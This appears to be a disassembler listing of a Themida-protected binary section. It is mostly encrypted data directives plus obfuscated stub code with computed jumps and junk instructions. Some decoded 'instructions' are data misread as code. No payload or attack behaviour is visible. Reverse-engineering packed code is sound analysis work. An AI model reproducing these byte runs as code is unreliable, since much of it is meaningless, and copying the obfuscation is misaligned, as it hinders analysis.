dd 449E994h, 3958E9Fh, 0CE7053B9h, 0F50D1E83h, 95BD4CBDh
dd 72F42414h, 0AF57DD23h, 1694DD80h, 5AC78EADh, 19D94A8Ch
dd 7FB2B99h, 57F1C5C5h, 0BB94BFAFh, 500AAA7Dh, 0ECF8B37Ah
dd 74928B5Eh, 71A7EA8Bh, 9E2A51EBh, 0D33CB600h, 65B6FBBEh
dd 0E4220D33h, 9C4AF123h, 0AB403D6Ah, 83A407BCh, 438561CEh
dd 0BCAB4047h, 8D39123Dh, 0AB403F7Bh, 312A05BCh, 87C16F95h
dd 0BCAB4083h, 0EC2CD641h, 0D6BCAB3Fh, 0CE313B7Dh, 9C3AE0ADh
dd 0AB402E6Ah, 0CA3B14BCh, 0CEB4E4A9h, 5F89C465h, 0EC7CE7E7h
dd 5B79CAE9h, 0B9000004h, 0F053D79Eh, 1F800643h, 49EA3079h
dd 79DA6025h, 8A1195D8h, 470A2BE7h, 733E60C3h, 0A1E88C37h
dd 0D29BBA65h, 0F00AD054h, 0B6036CB8h, 0FFE74C8Ah, 6997135Eh
dd 0C00692EFh, 0DA5E19BFh, 2B7F3655h, 0EB5E70Ch, 54FAED8h
dd 1A35B600h, 5515595h, 3352B600h, 9F29357Ah, 0B600059Bh
dd 3C5DCE69h, 0C06D2C71h, 0FB50D05Fh, 0F84C383Ah, 0ABAB1477h
dd 0BD000000h, 10B5F517h, 0A48FB600h, 5CFF2F74h, 76178815h
dd 2174F63Bh, 82AF57DBh, 4A0322E3h, 4FDBB4E5h, 0D38041E4h
dd 0C6100996h, 7A534223h, 83201960h, 85219A3Ah, 9D1843h
dd 44E5CEB6h, 0B661AF09h, 0DE65D770h, 3C4A9E28h, 1F38BCABh
dd 2A6708EBh, 397013FCh, 4EF15FFh, 218E2A6Fh, 757AC00h
dd 408EB107h, 0C8AFB157h, 0C2E1EC7Ch, 37541h, 0FDB4D300h
dd 2C6906A9h, 5A13359Eh, 8ACF63CCh, 0BFF2933Ch, 45CDEC6Bh
dd 72DD6924h, 0A6099DD0h, 0D87BCF86h, 3EAEFCB5h, 6E9E9A2Ch
dd 2664B603h
dd 135EFFF9h, 40092C97h, 30BADDFAh, 0DAE1D271h, 703F79A3h
dd 861F84CDh, 0F218AEE7h, 0D7A4A778h, 8B3D1E61h, 0AF58CF8Fh
dd 0B7E1DA75h, 6ECE3D16h, 649731D5h, 5EB600E5h, 11ABD1F5h
dd 0B600E519h, 40E840EBh, 0CECA7C9Ah, 90B600E4h, 0E53276h
dd 0A72710B6h, 82DA2C8Ch, 395A365Bh, 5F5BED9Bh, 255A365Bh
dd 4FF5110Ah, 298FC264h, 0DE688CDFh, 29DD7660h, 68417983h
dd 0C36260DEh, 0F2F4258Ah, 0C45E859h, 0DE7E3FACh, 76374165h
dd 0F4B7E48Dh, 0F939718Bh, 200B60DDh, 0C17BE137h, 67896236h
dd 7587230Ch, 0B3D8789Ah, 0CD642C6h, 594194E6h, 607A3758h
dd 7EBA441Bh, 4FDB92B1h, 0D00841E4h, 419E7F4Ah, 7B98694Ah
dd 0D9000002h, 10B3F7BEh, 3FE02663h, 69CA5019h, 993A80C5h
dd 0EA71B5F8h, 672A4BC7h, 93DE8023h, 0C188AC17h, 0F2BBDA45h
dd 902A30B4h, 0B6036F98h, 0FF072C6Ah, 0F88155Ch, 0B3FA9EADh
dd 867F3652h, 0EB0B2660h, 5EF9B5FFh, 0EB499C8h, 0F21184CCh
dd 0AE0AF36Bh, 0DA00BB19h, 0A81039A0h, 0B8200BBCh, 0DA93B112h
dd 12D44455h, 79367F0Eh, 76942F8Dh, 0DE8E65D4h, 94155F7Fh
dd 5C5CEE6Bh, 267FDE82h, 0BDD7F50Dh, 3A208D66h, 302E6A9Ch
dd 0D1C7FDEh, 1C6F4D35h, 0C553FC0Eh, 0BD69D242h, 8A3A7C0Bh
dd 9EC46286h, 8A3A2C6Ch, 953D1686h, 868A3A95h, 0AA54C46Fh
dd 0BD3F6581h, 9C38143Ah, 32FD3B15h, 47459713h, 0FE433788h
dd 0EEF028D2h, 79D28689h, 0FA993A80h, 38FF15B3h, 9211229Eh
dd 19D31h, 155CFB00h, 44012E91h, 723B5DC6h, 0A2E78B34h
dd 0D79ABB64h, 6DA5D453h, 9A0581CCh, 0CE71B5F8h, 0A3E7AEh
dd 1696145Dh, 7076B2D4h, 0E4CB603h, 155CFF21h, 16AD0F88h
dd 0F20F56F0h, 5AF5B5FFh, 50B99DCCh, 19A347FCh, 0BCA807F2h
dd 276A0BF4h, 84E44FF1h, 9AF4A642h, 0EDB7E575h, 0A8AD54ADh
dd 4840FA45h, 3A759BA8h, 9B4F3811h, 43B7BA61h, 2AF887Ch
dd 7AA01BB9h, 0EF2135C0h, 3EA12B82h, 0B2F6103Ah, 9082EFB2h
dd 1E592FA7h, 0A58EB0F8h, 5AF8DB01h, 2899921Fh, 42ED4B06h
dd 0D40E223h, 5FA996A0h, 7A5FDBA9h, 0B112A881h, 7C355392h
dd 99C96583h, 0E8CB2638h, 0E117h, 51183F00h, 80C56AD5h
dd 0B6FF993Ah, 0E6A3CF70h, 135EFFA0h, 0A9690897h, 0DE41C588h
dd 0AB5F1BCh, 3CE7236Ah, 52CA5019h, 703A7E88h, 0C208B603h
dd 9D5CFF65h, 5A1738FDh, 0F2EB3C61h, 0A80BB1ADh, 800CA87h
dd 0DEAF57D7h, 57D76CACh, 0EDFD56AFh, 0E351D642h, 9B04A258h
dd 0E761B7FAh, 0B6000174h, 7EBACC6Ah, 44B60001h, 83BFD30Ah
dd 694216B3h, 901601CFh, 883E8537h, 0A8ED8162h, 645AC600h
dd 0F28BCABh, 2B6201A2h, 3A7F14FFh, 5EE14FEh, 96872C69h
dd 56FE9D02h, 0E28F1978h, 0A9217AA7h, 0EBC4C035h, 0DEF68446h
dd 2E9F0C1Ah, 96DF7E85h, 0C58CAF10h, 0EEABC758h, 8C15BE41h
dd 28609AC0h, 7B0C1ADFh, 0F95294DDh, 44DF0BFh, 0E31E5886h
dd 0D1FF9391h, 0F6951A9Eh, 39172BFh, 0B4000000h, 58FFCBB0h
dd 70138C11h, 92BF439h, 2042E340h, 3E5FC06Dh, 0D4752E73h
dd 0E78B1499h, 84A47DA2h, 92BF60CDh, 68FA4AD7h, 5115h
dd 68242C89h, 4CEBh, 68241C89h, 1FA5h, 56242C89h, 0AB8F08BEh
dd 8BF38906h, 0C4812434h, 4, 242C8B54h, 4C481h, 0EC810000h
dd 4, 8F241C89h, 2C8B0845h, 0E1895124h, 4C181h, 0C1810000h
dd 4, 5C240C87h, 50241C8Bh, 405E089h, 5000000h, 4, 5C240487h
dd 0FCE28DE9h, 2EDE72FFh
db 0DEh
; ---------------------------------------------------------------------------
loc_583545: ; CODE XREF: Themida_:loc_5828A2j
mov eax, 6AB9AC6h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 2261h
dd 9B55E98h, 172F2755h, 791F15D6h, 794F0A35h, 2BED4A8Fh
dd 62826E8Ch, 0E49B1BE5h, 0D2F86044h, 5677632Dh, 0E2DC74D0h
dd 0F3BE3DF3h, 56E51697h, 90584BFBh, 0D29350CAh, 697B7260h
dd 74BE6C4Ch, 398A79D2h, 7CEB44E9h, 19034075h, 0C6A40241h
dd 31E9501Dh, 0C0000000h, 524A58h, 0Bh dup(0)
; ---------------------------------------------------------------------------
jmp loc_583B38
; ---------------------------------------------------------------------------
db 2Fh, 8, 41h
dd 70355AC5h, 0A6EF892Ah, 0D693BF60h, 34EEF50h, 99793887h
dd 0CE71B5F8h, 0FAA5E1ACh, 2C97135Ah, 62FA4009h, 724A4EF8h
dd 0F238B603h, 155CFF55h, 3B761788h, 0A52144EFh, 57D72763h
dd 623815AFh, 5678C726h, 0FD0FBB94h, 0AF5874BDh, 6EB3AC87h
dd 52DF96B5h, 0B4F9BCD1h, 0F9C36CD9h, 74F12953h, 78D3AF58h
dd 0DCC6F30h, 0A1FA276Eh, 90B112C8h, 4EF15BDDh, 44DEF2Eh
dd 11958E9Fh, 2F4F8EAEh, 7BEC3D62h, 1D0E93D6h, 426FF24h
dd 3965E449h, 75316993h, 0D172AF58h, 0E9E14A9Ch, 70FFF4Fh
dd 0A90296E1h, 2A630108h, 3B7E13FCh, 0DADE68F6h, 0A8AF580Bh
dd 0B802968Fh, 0F03D7417h, 580C2F76h, 951E9DAFh, 0DFE3A985h
dd 754C12h, 0BAD70000h, 0D6AEEA1Ch, 0BB94AF57h, 1793B27Dh
dd 57D6B5F5h, 0BD6687AFh, 0A2111314h, 911EF720h, 57DC4F49h
dd 753EBDAFh, 0DFD38965h, 16C12h, 0FFB70000h, 198A1752h
dd 43953174h, 95AD2CADh, 0A3C3243Ah, 48D94AEEh, 0E4BE72Ah
dd 7B178815h, 0F30F13Eh, 8576DD42h, 0DC1E9D1Ch, 0B31414B6h
dd 45EEAF58h, 0B0B778D3h, 0DF40C683h, 0EED1F5BCh, 8B9C014Ch
dd 0BA78A72Dh, 0DEC4A030h, 0FD3B279Ch, 0D75C1132h, 6764C10Bh
dd 26759712h, 45002DF2h, 33FC59D8h, 0C0460B2Ch, 51753C5Fh
dd 0DBF19B07h, 92068B77h, 4CC87031h, 5861FE3Ah, 726BC4AFh
dd 9C9C2E54h, 66AF5862h, 18F86BCDh, 4E0F2B3h, 312DF5Fh
dd 97h, 125BFAE5h, 59BA9D86h, 7012733Ah, 1334FB3Dh, 0B7FCB9D6h
dd 0A3004DEEh, 0D375918Ah, 0AF57D6D7h, 4A982ADh, 6FB4FD9Bh
dd 5BD895B6h, 83E4A9CAh, 8504A9E0h, 0A5088728h, 0C7686F30h
dd 0F2933C8Ah, 9DB172BFh, 0A3C122D8h, 0B8DC45EAh, 58E218F1h
dd 0AF57D760h, 3CAF0922h, 2489C063h, 0A97DA7Bh, 0F6852E87h
dd 5260C1AAh, 12DFD496h, 62CD5F99h, 1282838Dh, 347486h
dd 0FFCF0000h, 0CF7135Eh, 11F2266Bh, 78A5EC90h, 0BBC26348h
dd 0E5CB369Ah, 5196C28Bh, 0FF052278h, 408A1752h, 0AF57D745h
dd 737F20B7h, 12DFD687h, 166h, 59FFB900h, 73129310h, 238C3Ah
dd 0CA0D8CA8h, 413AC29Bh, 0FE6DCBDCh, 0CAD1527Bh, 18A3E7AEh
dd 0BDDB0FB4h, 582B0F0Bh, 0DE5AF5AFh, 3757F214h, 0CF09B600h
dd 0B9DB8B9Bh, 2ED058CDh, 9D47EF8Dh, 0B169DD17h, 0F9261F08h
dd 0FE4C0528h, 327F3655h, 3BEE28h, 0D0515AB6h, 0A7E3AAC9h
dd 931059FCh, 8C3A7312h, 3BE42466h, 75DEB600h, 25C14023h
dd 0CB428BD3h, 0AD0BF86Ch, 0A9236D36h, 0A40BD74Bh, 0B2BBD2D8h
dd 26FB805Ah, 0F2911E9Ah, 0D3CF6FBBh, 3A147739h, 151h
dd 0A4FE3CCh, 0FF2474A5h, 0D80EB5E7h, 723AEh, 3EB3C5B6h
dd 0D5F03C29h, 4CE7298Fh, 9B325C9Eh, 4F90B020h, 8AA97AE9h
dd 0B9DC47C3h, 53F2B3F0h, 5D75B5D7h, 0E44FB600h, 5AAEF83h
dd 33F63B14h, 7312199Ah, 3238C3Ah, 60C8E14Eh, 5046329Ah
dd 64A11477h, 7A000000h, 0DF0BB6E7h, 57D74DADh, 83B0132Fh
dd 0B64059C6h, 2605A755h, 0DD63B579h, 0AADC54FAh, 2F58746Eh
dd 2902FB54h, 0D4755E84h, 0D1C91F99h, 0C72F5873h, 77D8C768h
dd 98B51ECCh, 81C86CDDh, 79A7CD17h, 5873CBCFh, 2D9EB92Fh
dd 0CAE3400Dh, 7480986Eh, 6142AF58h, 711D8EC7h, 0C5BEEF34h
dd 97FE41h, 0BAD90000h, 25733A59h, 5D893262h, 0A542Bh
dd 98052EB6h, 84A56407h, 0E94AD0C9h, 409E034Ah, 9A8E01Ah
dd 0B19AB600h, 0AA4E167h, 9B10B600h, 0CE6D561Ah, 0EF8E1187h
dd 75A760A6h, 11F218CEh, 0D89DB17Ch, 0C469425Bh, 1D8345D3h
dd 0C3BCABA7h, 0AAF7B2E0h, 3E192771h, 0C2072788h, 0A4F4EDA0h
dd 0FE3F5EC7h, 0FB38115Ch, 0D845082Ah, 0A6C0F802h, 0A982BCABh
dd 0D05D1438h, 0B544ED5Ah, 0E100A10Ah, 95DC80B3h, 52FC0EBCh
dd 30C35742h, 3F658307h, 57428D8Dh, 5CDC77C3h, 0EB5E757h
dd 7300AED8h, 69C2B603h, 71385BC4h, 2AEB8A35h, 0C56A430Ah
dd 0DE97B619h, 6CE48C5Ah, 9CBF0AE5h, 0B6D748D5h, 8684B6FBh
dd 84ACF43Ch, 0C66FC44Bh, 0AE77E437h, 79CD84A7h, 0B1FEB7D6h
dd 0E30742F0h, 8A175200h, 0A5A40791h, 0FDA0A708h, 278876B4h
dd 41EE4A07h, 2464A622h, 1E0AE569h, 0BD75C35h, 902D79C1h
dd 9D28A2EFh, 13FC3C5Eh, 3, 0FFCBB036h, 138C1158h, 2BF43970h
dd 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h, 0A47DA2E7h
dd 0BF60CD84h, 0FA4AD792h, 81E18951h, 4C1h, 4E98100h, 87000000h
dd 895C240Ch
; ---------------------------------------------------------------------------
sub al, 24h
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ecx
push ebp
push 7A7F0A58h
pop ebp
shr ebp, 1
and ebp, 7CF57112h
and ebp, 3AF40BBh
add ebp, 6869BD0h
mov ebx, ebp
mov ebp, [esp]
add esp, 4
push esp
mov ecx, [esp]
add esp, 4
push 0CDAh
mov [esp], ebx
pop dword ptr [ecx+8]
mov ecx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_5517CE
; ---------------------------------------------------------------------------
dw 567h
; ---------------------------------------------------------------------------
loc_583B38: ; CODE XREF: Themida_:005835D8j
mov eax, 6ABA097h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 3Fh, 65h, 8Fh
; ---------------------------------------------------------------------------
pop esi
pop ds
mov [edi], eax
adc [edi-73945457h], bl
cmp cl, [ebx]
add [ecx], esp
jl short loc_583BCA
daa
retn 2A3Eh
; ---------------------------------------------------------------------------
dd 8191AE3Fh, 128A0918h, 304FFB4Fh, 2F98D246h, 64452A74h
dd 55BBCC73h, 27F8E555h, 6936FE2Bh, 0E5D8AB04h, 29144E49h
dd 66CEAD1Bh, 88D3F307h, 70310376h, 0A40E6C28h, 5EAB567Dh
dd 54A6DD26h, 820DBD09h, 0A9164612h, 51216A65h, 8A685F55h
dd 75E978h, 66600000h, 4A8D88Ch, 35840Fh, 16A0000h, 31F9B5FFh
dd 858D06A8h, 6AB6971h
; ---------------------------------------------------------------------------
call eax
loc_583BCA: ; CODE XREF: Themida_:00583B52j
mov [ebp+6A8268Dh], eax
mov edi, esi
shr edi, 0Ch
push 20040000h
push 0
push 2
push edi
push 1000Dh
call dword ptr [ebp+6A8268Dh]
jmp loc_583C21
; ---------------------------------------------------------------------------
mov byte ptr [ebp+6A815D5h], 56h
push 0A9C530DFh
push dword ptr [ebp+6A80F95h]
lea eax, [ebp+6AB6971h]
call eax
mov [ebp+6A81405h], eax
lea eax, [ebp+6A80755h]
push eax
push 20h
push 5
push esi
call dword ptr [ebp+6A81405h]
loc_583C21: ; CODE XREF: Themida_:00583BEAj
popa
retn
; ---------------------------------------------------------------------------
shl eax, 6
jmp short loc_583C61
; ---------------------------------------------------------------------------
dd 0C20000h, 0C202CCh, 0C202E4h, 0
dd 45D4AD10h, 74CDA175h, 20DCA970h, 4DD7ADFBh, 4CDDEA2Bh
db 4Fh
byte_583C4D db 0C4h, 0F7h, 74h ; CODE XREF: Themida_:00583C6Bj
dd 20F588D5h, 50F6B086h, 48EDAA01h, 44D8A140h
db 19h
; ---------------------------------------------------------------------------
loc_583C61: ; CODE XREF: Themida_:00583C26j
movsb
shl dword ptr [eax], cl
fldcw word ptr [edx+edi*4]
and [esi-3Ch], al
cdq
jge short near ptr byte_583C4D
cdq
loc_583C6E: ; CODE XREF: Themida_:00583C7Bj
xor [ebp+esi*4-40h], cl
cmp [esp+ebp*8-40h], ah
lodsd
and [esp+eax*8-4], ah
jnz short loc_583C6E
enter 0FFFF97B6h, 0D3h
dec edi
add al, 0D5h
cdq
insb
mov edi, 8839CBABh
mov ds:4AB794Fh, ah
push ecx
mov bl, 88h
into
inc edi
add al, 0F9h
jp short loc_583D06
mov edi, 3ACD4720h
popf
lock jmp near ptr 0B0E462B7h
; ---------------------------------------------------------------------------
dw 70A0h
; ---------------------------------------------------------------------------
adc eax, 9A98794Fh
sar byte ptr [ecx+0C411820h], 27h
pusha
retn 0BD34h
; ---------------------------------------------------------------------------
dd 261365C8h, 78E217CDh, 0D50799Ah, 54B9C224h, 98EA9451h
dd 20B9C09Ah, 270C4118h, 0BD34C260h, 26135AFFh, 78E217CDh
dd 70B9AEE5h, 20B9C764h, 0E3E1E446h, 4FD4D7Bh, 4FD4595h
dd 20B9D2CCh, 0E3E98464h, 0A98A453Bh, 88AE499Ch
db 8Ah, 4Fh
; ---------------------------------------------------------------------------
loc_583D06: ; CODE XREF: Themida_:00583C98j
jns short loc_583D52
inc esi
xchg eax, esi
push ecx
and esp, [ebx]
les edi, [ecx-1CF83500h]
test eax, 0A1BDE09Ch
and al, ah
mov ebp, 0B9C4323Ch
bound ecx, [ebx+7]
db 65h
pop ebp
sbb cl, [edi+1BC4E9F4h]
xchg eax, edi
inc eax
jnb short loc_583D7D
sub al, 71h ; CODE XREF: Themida_:00583D4Aj
movsd
insb
mov edi, 91C97079h
mov eax, ds:0A57FA527h
out 0D1h, eax
adc [esi], esp
dec edi
scasb
mov ecx, 0B9C76472h
and [esi-1Ch], al
jecxz short near ptr loc_583D2E+1
jns short near ptr loc_583D99+2
in eax, dx
add al, 95h
inc ebp
loc_583D52: ; CODE XREF: Themida_:loc_583D06j
std
add al, 0CCh
sar byte ptr [ecx-14799BE0h], 1 ; CODE XREF: Themida_:00583D8Fj
jecxz short near ptr loc_583D62+4
xchg eax, ebp
mov dh, 0ADh
sbb esp, eax
loc_583D62: ; CODE XREF: Themida_:00583D5Bj
mov ecx, 23ACD520h
cmp al, 39h
dec esi
mov dh, 0ABh
sub eax, 0C120B9C4h
xchg eax, esi
jmp near ptr 0E44E04E9h
; ---------------------------------------------------------------------------
db 78h
dd 41D9F56Bh
db 68h
; ---------------------------------------------------------------------------
loc_583D7D: ; CODE XREF: Themida_:00583D2Cj
pushf
cmp ds:9E09227Ch[edi], ah
scasb
mov ecx, 0B9C7AE71h
and [ebx], ah
in al, 0E0h
jecxz short near ptr loc_583D55+4
dec ebp
cmc
add al, 0CCh
loc_583D95: ; CODE XREF: Themida_:00583DEAj
inc ebp
std
add al, 60h
loc_583D99: ; CODE XREF: Themida_:00583D4Cj
sar byte ptr [ecx-177ACDE0h], 1
jecxz short near ptr loc_583DDE+3
cmp ecx, ds:4ABF6C83h[esi*4]
inc esi
xchg eax, esi
push ecx
and esp, [ebx] ; CODE XREF: Themida_:00583DEDj
les edi, [ecx-1CF83500h]
test eax, 0A1BDE09Ch
and al, ah
mov ebp, 0B9C43238h
bound ecx, [ebx+7]
xchg eax, edx
pop esp
sti
xchg eax, esp
test eax, 0B9C440C8h
and [eax+6Bh], al
jnb short loc_583E49
out dx, eax
and eax, 0DD15AD30h
adc [esi], esp
db 3Eh
dec ecx
cmp al, 51h
pop ebx
outsd
loc_583DDE: ; CODE XREF: Themida_:00583D9Fj
mov edi, 5195194Ah
and ecx, [esp+eax*8+71F00B9h]
loopne loc_583D95
outsd
loopne near ptr loc_583DAB+1
mov eax, ds:3BBDE0D5h
enter 0FFFFB9C4h, 61h
xor eax, 94FEC307h
lodsb
stc
bound edx, [eax]
and edx, [edx+11EE5595h]
db 26h
mov ecx, 7420D314h
sub al, 0BAh
and [ecx+0B7F99C4h], dl
wait
xor [eax+eax*2-40h], bl
cmp [esi+edx-40h], ah
mov eax, ds:0FEC41920h
ja short loc_583E74
jmp far ptr 0A9EFh:50A532E1h
; ---------------------------------------------------------------------------
dd 888D99A6h, 0ADB89A97h, 2611CA65h, 20D3C00Eh, 20BA2C60h
dd 7A99C419h, 74309E4Fh
db 62h
; ---------------------------------------------------------------------------
loc_583E49: ; CODE XREF: Themida_:00583DCEj
sar byte ptr [eax], 64h
pop es
shr byte ptr [ebp-43B6EE0h], 72h
or edi, [edi+ebx*8-67h]
fld tbyte ptr [esi+eax-1BB054C9h]
loc_583E5F: ; CODE XREF: Themida_:00583E8Fj
enter 0FFFFC41Dh, 0B9h
and [esp+edx*8+37CD20B9h], cl
jmp near ptr 0FDA82B1Ah
; ---------------------------------------------------------------------------
db 4
dd 0A803A295h
; ---------------------------------------------------------------------------
loc_583E74: ; CODE XREF: Themida_:00583E23j
db 26h
dec edi
mov ecx, 0AC82DD46h
test eax, 9ABDE076h
fstp dword ptr [esi]
shr byte ptr [esi-2Ch], cl
scasb
mov ecx, 0B9C7AE77h
and [ebx], ah
in al, 0E6h
jecxz short loc_583E5F
dec ebp
lds eax, [esp+ecx*8]
inc ebp
std
add al, 60h
sar byte ptr [ecx-117CCDE0h], 1
jecxz short loc_583F05
sub al, 0BDh
and [esp+eax*8-3BB9DDABh], cl
jmp near ptr 0BA1C7177h
; ---------------------------------------------------------------------------
and [esi], bh
leave
cmc
movsb
retf
; ---------------------------------------------------------------------------
db 8Bh, 0B8h, 0CFh
dd 0B490C615h, 948AC946h, 70E79D93h, 0C9E396ECh, 20B9C44Ah
dd 0C9482655h, 0FC531832h, 2D69A56Bh, 4FD4F05h, 20B62C36h
dd 0D206C419h, 87778036h, 64E12416h, 32C93957h, 40EB941Ah
dd 9588CBA9h, 7AE19ED5h, 0DB32C4B9h, 249D8090h
db 0EAh
; ---------------------------------------------------------------------------
loc_583F05: ; CODE XREF: Themida_:00583E9Fj
dec edi
inc ecx
js short loc_583F35
; ---------------------------------------------------------------------------
db 0C4h, 0EEh, 0C8h
dd 20B9C420h, 7F7A9BB1h, 249DB841h, 249D80E5h, 20B9C42Eh
dd 0B77A935Eh, 2A63E016h, 0A513B896h, 20D3C449h, 20BA2CC0h
db 0C8h
; ---------------------------------------------------------------------------
loc_583F35: ; CODE XREF: Themida_:00583F07j
les ebx, [ecx+309DA779h]
insb
push ss
sar byte ptr [eax], 64h
cmp eax, 8C20A4C0h
; ---------------------------------------------------------------------------
db 0C4h, 0F8h, 71h
dd 0D1143085h, 188B6F81h, 0ABAE976Ah, 0A9693B33h, 88BF0DD1h
dd 3B3C4D34h, 4ABF6FBBh, 2351918Ch, 0B9C446h, 0A9E4077Eh
dd 0A1BDE0FDh, 35BDE08Ch, 65B9C464h, 48B10767h, 1107992h
dd 9ADFC224h, 0D8326A50h, 20BB0826h, 3F3C4D91h, 0A3BF6F6Ah
dd 0A530DCA4h, 26126611h, 0CC00042Ah, 0D3B9C48Eh, 8D0C4FECh
dd 70BF6C2Dh, 3ED87918h, 0AAE3C260h, 0F53C02AEh, 63BF6C27h
dd 0C8EEC473h, 20B9C48Fh, 7F7A9B66h, 249DB8AAh, 249D8010h
dd 20B9C4DCh, 0BE7A9323h, 3A7315B3h, 0A7B6DF91h, 20B9C48Ah
dd 2B304975h, 0FFD1C28Bh, 0A10EE937h, 0ED38E0FCh, 7007EF2Eh
dd 0DFBE9657h, 88B651ACh, 72B9AE8Ah, 20B9C7AEh, 0E3E3E423h
dd 4ED4DCBh, 4FD45CCh, 20B9D060h, 0E3EB8632h, 5134ED06h
dd 0ADBF6C89h, 8BD0B5C3h, 76B9AE25h, 20B9C779h, 0E3E7E4C8h
dd 4CD4D3Ah, 4FD4536h, 20B9D81Dh, 0E3EF828Ch, 1355C07Fh
dd 4FD4D126h, 992C4F4Dh, 0DFBF6CD2h, 0C50CEDB4h, 0A9BF6C34h
dd 88A0659Ch, 73B9AE8Ah, 20B9C7AEh, 0E3E2E423h, 4E54DCAh
dd 4FD45CCh, 20B9D060h, 0E3EA8732h, 0A534C599h, 0ADBF6CA3h
dd 88B181C3h, 71B9AE25h, 20B9C779h, 0E3E0E4C8h, 4F54D3Dh
dd 4FD4536h, 20B9DF1Dh, 0E3E8858Ch, 0A260D020h, 502BF26Ch
dd 793572C0h, 144059E1h, 0A530C2CCh, 2611E173h, 0C8ECC473h
dd 20B9C48Fh, 7D7A9966h, 249DA8AAh, 249D8010h, 20B9C4D0h
dd 0B37A9121h, 0A719D977h, 20B32C4Ah, 9B66C48Ch, 4F0B6E75h
dd 76CAE448h, 20B9D578h, 0CC9B3C8h, 48479421h, 0FF2BFB3Ah
dd 9937C2A7h, 7EE0912Bh, 356C4180h, 4AEAC28Bh, 23519391h
dd 0B9C4C8h, 0A9E6073Bh, 0A1BDE04Eh, 37BDE05Dh, 67B9C48Ch
dd 39220711h, 0F033B457h, 20B9C079h, 91F11CC8h, 29509498h
dd 3EB9C432h, 641C0EEAh, 89ECE26Fh, 249D80CDh, 20320BA8h
dd 249D8018h, 20B945C7h, 4AE1C464h, 23519532h, 0B9C419h
dd 0A9E007D5h, 0A1BDE00Ah, 35BDE067h, 61B9C491h, 40C20799h
dd 71ED32E4h, 20BF403Dh, 0BD88C419h, 2611E51Dh, 3735CB19h
dd 40B9C423h, 26A84118h, 2A50C260h, 0D6B9C464h, 9034CC24h
dd 0E0FFC734h, 9546A54Eh, 2611CBD3h, 2CD479AAh, 9532C239h
dd 2611E5DDh, 49C841E9h, 20D3C299h, 20BA2C4Ah, 7B99C48Ch
dd 7C309F85h, 6438C007h, 20ADC0B5h, 73FAC4C8h, 0AEB62DA7h
dd 20B9C430h, 95920C92h, 2611F0C9h, 20D314B9h, 20BA2C75h
dd 7E99C491h, 54309A0Bh, 6438C040h, 20ACC016h, 76FFC419h
dd 0C94C124Fh, 20B9C456h, 76941188h, 44CCAB4Dh, 46DFF98Fh
dd 63BC8D7Dh, 3B8841BBh, 0AD32C2B1h, 2611EE99h, 356C4180h
dd 4AEAC28Bh, 23519391h, 0B9C4C8h, 0A9E6073Bh, 0A1BDE04Eh
dd 38BDE05Dh, 67B9C48Ch, 0F6120711h, 0D9CAA002h, 20B9C079h
dd 387D77C8h, 0FF06A2BCh, 0DE3294DDh, 249D8092h, 20A64D83h
dd 72E9C446h, 0F8976C9Ch, 0C988CBD8h, 20B9C4C7h, 0CD013641h
dd 243DAB37h, 0D041E50h, 7A16BD62h, 40B94F1Eh, 6F02A243h
dd 414A4FF6h, 19807BAEh, 4FD4D05h, 20D39C36h, 20BA2C49h
dd 7899C48Ch, 64309C85h, 6438C007h, 20AEC0B5h, 70F9C4C8h
dd 88F873A7h, 20B72CFEh, 0BCB0C419h, 4A48216Dh, 3B11C286h
dd 8E4D1A3Bh, 263BCBCEh, 40B9C4C8h, 41D99C33h, 0B50C3B53h
dd 0DCBF6C16h, 49C84101h, 20D3C2EDh, 20BA2C70h, 7B99C491h
dd 7C309F0Bh, 6438C040h, 20A0C016h, 73FAC419h, 1618124Fh
dd 0DF43430Ah, 20B22DF3h, 51ABC491h, 31929907h, 4A2A9D4Dh
dd 0D93C4D08h, 4ABF6C0Ch, 2351948Ch, 0B9C446h, 0A9E1077Bh
dd 0A1BDE0D5h, 39BDE08Ch, 60B9C464h, 0E7D10762h, 0C0D08AB6h
dd 223BCBECh, 92B9C446h, 8534ED1Ah, 41BF6CBBh, 356C410Eh
dd 0AAFEC2CCh, 2138CBE2h, 0D8B9C419h, 4489BAE4h, 2700A2C5h
dd 48D453Bh, 14032946h, 20B940C7h, 9546C464h, 2611CBA7h
dd 0A5343D92h, 2612ADFDh, 0C8EFC42Ch, 20B9C420h, 7E7A9AB1h
dd 249DB041h, 249D80E5h, 20B9C429h, 467A925Fh, 0ADE65160h
dd 0A9CCFA6Bh, 88A5E1BEh, 4A693B97h, 235191C8h, 0B9C464h
dd 0A9E4076Fh, 0A1BDE075h, 39BDE0C8h, 65B9C446h, 90140776h
dd 0E2F92C1Ch, 0C9734FAEh, 20B9C468h, 0FD55AA86h, 6E426112h
dd 41551671h, 0CD841CFh, 20D3C28Bh, 20BA2CC4h, 7D99C4C8h
dd 4C3099A7h, 6438C016h, 20ACC03Dh, 75FCC48Ch, 2B094085h
dd 88B9B5B6h, 0F53C0297h, 67BF6CDDh, 0C8EBC40Eh, 20B9C431h
dd 7A7A9E39h, 249D9005h, 249D80C7h, 20B9C43Eh, 467A96D3h
dd 302617CCh, 0A6FA1A45h, 9C03A29Dh, 20BD2C25h, 30C3C48Ch
dd 72E9459Ah, 20B9CCCAh, 99B10691h, 3141A181h, 7088CB5Ch
dd 3F06A260h, 7A88CB1Ch, 70E19ED4h, 0FDFCF2F8h, 4FD4F1Fh
dd 17047B95h, 2032E03Bh, 249D80EDh, 53DA7B54h, 75B9AE41h
dd 20B9C764h, 0E3E4E446h, 4D54D7Eh, 4FD4595h, 20B9D0CCh
dd 0E3EC8164h, 52C4F91h, 40BF6C05h, 30A04907h, 0AAB6C2EEh
dd 20B9C423h, 0EF32A2F0h, 2F2C7137h, 0BD90C2CCh, 2611D00Bh
dd 49C84194h, 20D3C227h, 20BA2C11h, 7F99C423h, 5C309B52h
dd 6438C0ECh, 20A5C040h, 77FEC432h, 5E0083DAh, 191C75CDh
dd 0BD302695h, 2611DAD2h, 0DF4A739Eh, 71B9AE18h, 20B9C78Ch
dd 0E3E0E432h, 4F54D40h, 4FD4588h, 20B9D142h, 0E3E88523h
